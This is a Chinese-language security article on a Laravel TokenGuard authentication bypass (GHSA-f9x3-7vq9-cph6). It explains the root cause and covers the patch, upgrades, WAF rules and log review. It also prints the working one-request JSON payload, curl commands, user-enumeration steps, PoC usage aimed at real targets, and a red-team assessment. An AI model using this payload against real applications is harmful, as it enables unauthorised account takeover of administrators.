导语:一条
{"api_token":[0]},一个未登录的攻击者就能以数据库里第一个用户的身份登录你的 Laravel 应用——不需要密码,不需要 token,不需要任何交互。Hakai Security(昊海安全)旗下 Yokai(妖怪)研究团队在 10 月 20 日放出完整分析与一键复现实验室,CVSS 4.0 打分 9.2。这不是某个社区包的锅,是 Laravel 框架自带的守卫出了问题。

一、漏洞概要
先把关键信息摊开:
| 项目 | 内容 |
|---|---|
| 漏洞编号 | GHSA-f9x3-7vq9-cph6 |
| 漏洞类型 | 认证绕过 / 类型混淆引发的 SQL 隐式转换 |
| CVSS v4 | 9.2(严重) |
| 影响组件 | laravel/framework 内置 TokenGuard(令牌守卫) |
| 受影响版本 | 13.x < 13.29.0、12.x < 12.68.0、11.x < 11.56.1 |
| 利用前提 | 用户表位于 MySQL 或 MariaDB |
| 攻击代价 | 一个未认证 POST 请求,零交互 |
| 发现者 | KIKOmanasijev(通过 GitHub 安全公告通道提交) |
| 修复作者 | Taylor Otwell(泰勒·奥特韦尔),2026-08-24/25 提交 |
| 公告发布 | 2026-10-19 |
| 研究博客 | 2026-10-20 |
CVSS 向量写得很直白:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N——网络可达、复杂度低、不需要任何权限、不需要受害者配合,机密性/完整性/可用性全线拉满。
AT:P 这一位值得注意:官方承认利用需要一点前置条件,那就是你的应用得真的在用 auth:api 中间件加 MySQL/MariaDB。但这个前提有多容易满足?Laravel 后端项目里,auth:api 是官方文档推荐的标准写法,MySQL 是最主流的默认数据库。两个条件同时满足的应用,在全球 Laravel 生态里占了绝大多数。
二、三道防线是怎么一起失效的
这个洞最漂亮的地方不在于任何一行代码,而在于三处各自”看起来没问题”的逻辑串在一起,形成了一条完整的崩陷链。任何一环单独拎出来都拦得住这个请求,三环同时在场,反而全都不管用。
2.1 第一环:PHP 的 empty() 对数组放行
漏洞点在 src/Illuminate/Auth/TokenGuard.php 的 user() 方法里。修复前的代码是这样的:
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
这是 Laravel 里最常见的一种写法:拿到凭据,先判断一下是不是空的,空的就别查了。
问题在于 PHP 的 empty() 对不同类型的判定规则。字符串、数组、布尔值、null,各有各的规则。关键的一条是:非空数组返回 false。也就是说 ! empty([0]) 的结果是 true,一个装了个 0 的数组,大摇大摆地通过了这道门。
而 getTokenForRequest() 拿到的是什么?它按配置从请求体里取 api_token 字段。你发 JSON:
{"api_token": [0]}
json_decode 之后,PHP 拿到的 $token 就是数组 [0]。类型检查这一关,从头到尾没有人做过。
2.2 第二环:数组值被悄悄转成 whereIn
$token 混过第一关,原样交给 EloquentUserProvider::retrieveByCredentials()。这个方法负责把凭据拼成查询条件,它长这样:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
}
这里是全链条里最安静的一环。这个 is_array() 分支本身是为数组批量查询设计的(比如按一组 ID 查用户),逻辑上完全合理。它不会想到自己接下来要处理的是一个认证凭据——凭据什么时候能是数组了?
于是原本应该生成的:
select * from users where api_token = ? limit 1
变成了:
select * from users where api_token in (?) limit 1
in 后面那个问号,绑定的是 JSON body 里的那个 0。因为它是从 JSON 解出来的真整数,PDO 绑定时用的是 PDO::PARAM_INT,驱动收到的是一个整型值,而不是字符串 '0'。
到这里为止,如果底层是 SQLite 或者 PostgreSQL,这个整数和字符串列的比较会直接报类型不匹配或者不匹配,什么都不会发生。可 MySQL 不是这么干的。
2.3 第三环:MySQL 的隐式数值转换
api_token 是个 VARCHAR 列。拿一个整数 0 去跟它比较,MySQL 和 MariaDB 会执行它自己的老规矩:把字符串转成数字再比。
而字符串转数字的规则是——从左往右读,遇到第一个非数字字符就停,取前面这一段。
'poc-token-abc'→ 第一个字符就是字母 → 转成0'b7f9d2c4a8e...'→ 第一个字符是字母 → 转成0'2d4f6h8j...'→ 第一个字符是2→ 转成2
所以 api_token in (0) 实际问的问题变成了:”有没有哪个用户的 token,转成数字之后正好等于 0?”
答案是:几乎所有随机生成的 token 都满足。
研究团队在验证时直接跑了一条 SQL 确认这个行为:
SELECT 'poc-token-abc' = 0;
-- 返回 1
行命中,first() 返回这个用户,TokenGuard 拿到一个非空的 user 对象,认证通过。整个过程里没有任何地方报错,没有任何异常日志,也没有任何一行代码意识到发生了什么。

三、payload 只有一种形态是对的
这一点是这个漏洞最有意思的地方。PoC 仓库的 README 里专门列了两个不work的变体,理由全都是同一个:类型。
变体一:?api_token[]=0(query string 传数组)
curl "https://target/api/user?api_token[]=0"
query string 里的东西永远是字符串。所以 $token 拿到的是字符串数组 ['0'],PDO 绑的是 PARAM_STR,SQL 变成 api_token in ('0')。字符串比字符串,MySQL 不做转换,'0' 不等于任何一个真实 token,匹配失败。
变体二:?api_token=0(标量)
curl "https://target/api/user?api_token=0"
这个更讽刺——它死在了第一道门。PHP 里字符串 "0" 是假值,empty("0") 返回 true。攻击者老老实实发了个标量 0,结果被框架自己的空值检查拦下来了。
唯一可行的形态:
curl -X POST https://target/api/any-protected-route
-H "Content-Type: application/json"
-d '{"api_token":[0]}'
必须是 JSON body。必须是数组。里面那个元素必须是能解析成整数的东西(0、2、7 都行)。
这三个条件缺一不可,而攻击者需要在暗处试出来的恰恰是这条唯一路径——好在 --target 和 --targetUser 参数把 [0..9] 的枚举直接写进了 PoC,连试错都省了。

四、一发请求,账号到手
PoC 在实验室里的实测输出,三行说明一切:
2026-10-19 22:41:15,177 [*] vuln POST {"api_token": [0]} -> 200 user@email.com (22 ms)
2026-10-19 22:41:15,188 [*] vuln POST {"api_token": "b7f9d2c4…"} -> 200 user@email.com (10 ms)
2026-10-19 22:41:15,196 [*] fixed POST {"api_token": [0]} -> 401 unauthenticated (7 ms)
第一行:一个完全不带凭据的请求,服务器返回 200,并且告诉攻击者”你现在是 user@email.com“。这就是完整的账号接管。
第二行:用真实 token 正常登录依然工作——说明这个应用确实在用 TokenGuard,也说明这不是测试环境的假象。
第三行:同一个 payload 打到打了补丁的版本上,401 unauthenticated。
命中的是谁
这里有个很讨厌的细节。查询带 limit 1,返回的是数据库里第一个 token 不以数字开头的用户。
而现在的 API token 基本都是 Str::random(40) 或者 UUID 这类方式生成的,绝大多数以字母开头。结果就是:
- 遍历 [0..9] 这十个数字,等于在按 user_id 顺序试
- 第一个大概率是 id=1 的那个用户
- 在 Laravel 项目里,种子数据里的第一个用户,通常就是管理员
所以攻击者不需要”猜中某个用户”,他只需要一发请求,然后拿返回的 user_id 看看自己是几号管理员。
影响面有多大
任何挂了 auth:api 中间件、或者配置了 token driver 的 guard 的路由,都在射程内。字段名固定是 api_token(或者 guard 配置里的 storageKey)。
实际操作上,这意味着:
- 用户资料接口 —— 读改全部用户数据
- 订单、支付、订阅类接口 —— 直接操作资金
- 管理后台接口 —— 如果管理员菜单没做角色二次校验,一发请求直通
- 任何基于该用户的业务逻辑 —— 全部以这个人的身份执行
一次成功的认证绕过,后面挂什么就看应用本身了。
五、完整复现:一行命令拉起双版本实验室
Hakai 这次把 PoC 做得很完整,一个 GitHub 仓库直接能跑:
git clone https://github.com/hakaioffsec/GHSA-f9x3-7vq9-cph6-PoC
cd GHSA-f9x3-7vq9-cph6-PoC
docker compose up -d --build
首次构建大概 2 到 4 分钟。起来之后:
| 服务 | 地址 | 版本 |
|---|---|---|
| vulnerable(漏洞版) | http://localhost:8891 | 13.x#0189a60b(修复前最后一个 commit) |
| fixed(修复版) | http://localhost:8892 | 13.x#9b21ce0a(修复后第一个 commit) |
| MySQL 8 | 内部网络,不对外暴露 | — |
两个 Laravel 应用跑在同一个 MySQL 8 实例上,同一份数据,唯一差别就是框架版本。这样对照实验才有意义——你看到的 200 和 401 的差别,只来自那三行补丁。
种子数据是两个用户,专门设计过:
user@email.com→api_token = b7f9d2c4a8e6b1f3d5a0c9e2b4d6f8a1c(字母开头)user2@email.com→api_token = 2d4f6h8j...(数字开头)
第二个用户存在的意义是演示枚举:{"api_token":[2]} 可以精确命中数字开头的那个,从而说明攻击者能通过 [0..9] 遍历定位到任意用户。
PoC 的常用参数
# 默认跑三发:漏洞版利用 / 正常登录 / 修复版利用
python poc.py
# 挂代理,用 Burp 或 mitmproxy 看请求
python poc.py --proxy http://127.0.0.1:8080
# 枚举 [0..9],定位指定 user_id
python poc.py --target 2
# 按邮箱定位
python poc.py --targetUser user2@email.com
# 打真实目标
python poc.py https://vulnerable.com
每次请求的服务端判定日志会写到 logs/vuln.log 和 logs/fixed.log,可以直接拿去对照分析。清理环境用 docker compose down -v。
另外,Hakai 的 Hacking Club 平台也放了这个漏洞的对应挑战(challenge 155),可以在完全受控的环境里练手。
六、修复:三行 is_string,以及一个版本号的坑
Laravel 团队的修复思路简单到有点朴素——在守卫边界上补一个类型检查,让非字符串的凭据根本没机会走到 provider 那一层。
- if (! empty($token)) {
+ if (is_string($token) && ! empty($token)) {
- if (empty($credentials[$this->inputKey])) {
+ if (! is_string($credentials[$this->inputKey] ?? null) || empty($credentials[$this->inputKey])) {
两处都加了 is_string()。第一处在 TokenGuard,第二处在 provider 侧,属于双保险——就算将来有人又从别的路径塞进来一个数组,也会在第二道门被拦下。
相关 commit:
| 分支 | commit |
|---|---|
| 13.x | 9b21ce0a9bb |
| 12.x | 8dbb08bc(回移植) |
| 11.x | 5056ca53(回移植) |
这里有个容易踩的细节。 研究团队核对 Git 历史后确认,补丁实际首次发布的 tag 是 v13.27.0 / v12.68.0 / v11.56.1。但官方公告把修复版本标成了 13.29.0 / 12.68.0。官方在公告里也解释了原因:13.27.0 到 13.29.0 之间没有任何改动碰过 TokenGuard.php,标高一个版本是保守做法,避免误伤。
所以如果你要卡版本,可以按公告走 13.29.0;如果你的版本管理比较精细,知道 v13.27.0 就已经带着补丁也行。但别反向操作——不要以为 13.27.0 到 13.29.0 之间存在什么”额外的安全增强”,没有。
升级建议
# 13.x
composer require laravel/framework:^13.29.0
# 12.x
composer require laravel/framework:^12.68.0
# 11.x
composer require laravel/framework:^11.56.1
composer update laravel/framework
composer audit
七、攻击者视角复盘:这个洞为什么值钱
站在红队的位置上评价,这个漏洞的”性价比”高得离谱。拆开看有四点:
第一,攻击面是框架自带代码,不是第三方包。 社区包出漏洞,好歹能怪作者没做好安全评审。TokenGuard 是 Laravel 框架 src/Illuminate/Auth/ 里的核心守卫,是官方文档教用户用的 auth:api 的底座。你要防御它,得改框架版本,而不是加个 WAF 规则就能绕过去。
第二,利用链上没有任何一步需要交互或者权限。 无需凭据、无需诱导点击、无需社工、无需竞争窗口。从拿到域名到拿到管理员身份,就是一个 curl。批量扫 Laravel 应用的成本低到可以写成脚本横推整个资产清单。
第三,默认命中的是最有价值的那个账号。 因为返回的是”第一个 token 不以数字开头的用户”,而这个条件天然偏向 id 小、注册早的用户。在大量项目里,这就是最早那批管理员。攻击者甚至不用挑目标,工具默认行为就帮他挑好了。
第四,隐蔽性极强。 应用日志里会多出一条 200 的请求,字段名是标准的 api_token,状态码是正常业务的状态码。不开数据库审计的话,事后回溯基本查不出异常。数值转换这件事发生在 MySQL 内部,PHP 层面拿到的甚至是一个”合法的”用户对象——从框架的视角看,什么都没发生。
而漏洞的本质,是三层边界各管一段,谁都没管”类型”。
- TokenGuard 管了”空不空”
- Provider 管了”能不能批量”
- MySQL 管了”能不能转换”
每一层的判断在自己的上下文里都是合理的。缺的是那个把”凭据必须是字符串”当成不变量的检查。PHP 生态里这类漏洞反复出现——松散比较 ==、类型 juggling、strcmp() 返回 int——根子都在同一个地方:这门语言为了灵活,默许了隐式转换,而转换规则写在数据库手册里,不在 PHP 手册里。
顺带一提,修复里那个 empty() 的坑挺有意思。写补丁的人显然被 empty("0") 咬过一次——否则不会在加 is_string() 的同时还保留 && ! empty(),还额外在 provider 侧再补一道。攻击面是被验证出来的。
八、没时间升级的话,先做这几件事
如果你的 Laravel 版本还没来得及升,临时缓解手段按优先级排:
入口层拦截数组型凭据。 在 WAF 或反向代理层加规则,匹配 JSON body 里的数组型 api_token:
(api_token"s*:s*[)
这条规则覆盖面有限(可能漏编码变体),但成本极低,先挡住再说。
收敛凭据字段的输入类型。 如果你控制得了应用代码,在请求验证规则里显式声明 api_token 为 string 类型,让它在进入 TokenGuard 之前就被拒掉。
查历史日志。 重点找这几类请求:Content-Type: application/json + body 里 api_token 是数组 + 返回 200 的记录。有 WAF 的话,重点翻 api_token 相关的拦截日志。这个特征相当明确,回溯可行性很高。
确认数据库类型。 如果你的用户表根本不在 MySQL/MariaDB 上——用的是 SQLite、PostgreSQL、SQL Server——那这条利用链在类型转换那一环就断了,风险等级可以从严重降下来。不是零风险,但至少不是一个 9.2。
九、时间线
| 日期 | 事件 |
|---|---|
| 2026-08-24 ~ 08-25 | Taylor Otwell 提交修复,13.x commit 9b21ce0a9bb,并回移植至 12.x / 11.x |
| 修复发布 | 首个带补丁的 tag:v13.27.0 / v12.68.0 / v11.56.1 |
| 2026-10-19 | GitHub 安全公告 GHSA-f9x3-7vq9-cph6 公开 |
| 2026-10-20 | Yokai 研究团队发布完整分析与 PoC,Hakai 官方推文转发 |
| 2026-10-20 | Hacking Club 上线对应训练挑战(challenge 155) |
从修复提交到公告公开,中间隔了将近两个月。这段时间是白给的攻击窗口——如果你的应用跑在受影响的版本上,那这两个月足够被扫个来回。
十、素材出处
本文为编译报道,技术细节综合以下公开来源:
- 研究博客:《[EN] GHSA-f9x3-7vq9-cph6: Authentication Bypass in Laravel TokenGuard》,Yokai 研究团队,2026-10-20
https://yokai.hakaisecurity.io/en-ghsa-f9x3-7vq9-cph6-authentication-bypass-in-laravel-tokenguard/
- PoC 与实验环境:https://github.com/hakaioffsec/GHSA-f9x3-7vq9-cph6-PoC
- 官方安全公告:GHSA-f9x3-7vq9-cph6
https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
- 官方推文:Hakai Security,2026-10-20
https://x.com/HakaiOffsec/status/2112549514502418898
- 漏洞发现者:KIKOmanasijev
- 训练挑战:Hacking Club challenge 155
https://app.hackingclub.com/training/challenges/155
合规提示:本文所述内容仅用于安全研究与防御验证。PoC 已在隔离环境中完整复现,切勿用于未授权的目标。














暂无评论内容